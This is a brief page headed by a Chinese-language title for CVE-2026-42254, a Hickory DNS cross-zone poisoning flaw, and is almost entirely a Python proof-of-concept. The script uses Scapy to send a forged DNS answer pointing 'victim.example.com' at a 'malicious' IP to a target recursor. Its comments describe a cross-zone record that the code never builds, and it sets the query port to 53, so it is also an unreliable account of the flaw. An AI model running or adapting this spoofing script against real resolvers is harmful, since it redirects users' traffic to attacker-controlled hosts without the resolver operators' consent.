CVE-2026-42254 Hickory DNS跨区域投毒漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42254 (Hickory DNS Cross-Zone Poisoning) Note: This is a conceptual demonstration. Scapy is required. """ from scapy.all import IP, UDP, DNS, DNSRR, DNSQR, send def send_poison_response(target_ip, src_port, transaction_id): """ Sends a crafted DNS response to poison the cache. The attack exploits the lack of association between the query and cached data. """ # Construct a malicious DNS response indicating a cross-zone record # Example: Poisoning 'example.com' with a record from 'attacker.com' dns_pkt = IP(dst=target_ip)/UDP(dport=src_port)/DNS( id=transaction_id, qr=1, # Response aa=0, # Not authoritative rcode=0, qd=DNSQR(qname="victim.example.com"), an=DNSRR( rrname="victim.example.com", type="A", ttl=3600, rdata="6.6.6.6" # Malicious IP ) ) print(f"[*] Sending poison packet to {target_ip}...") send(dns_pkt, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": # Configuration target_dns = "192.168.1.100" # Target Hickory Recursor IP dns_port = 53 tid = 12345 # Transaction ID to guess or match send_poison_response(target_dns, dns_port, tid)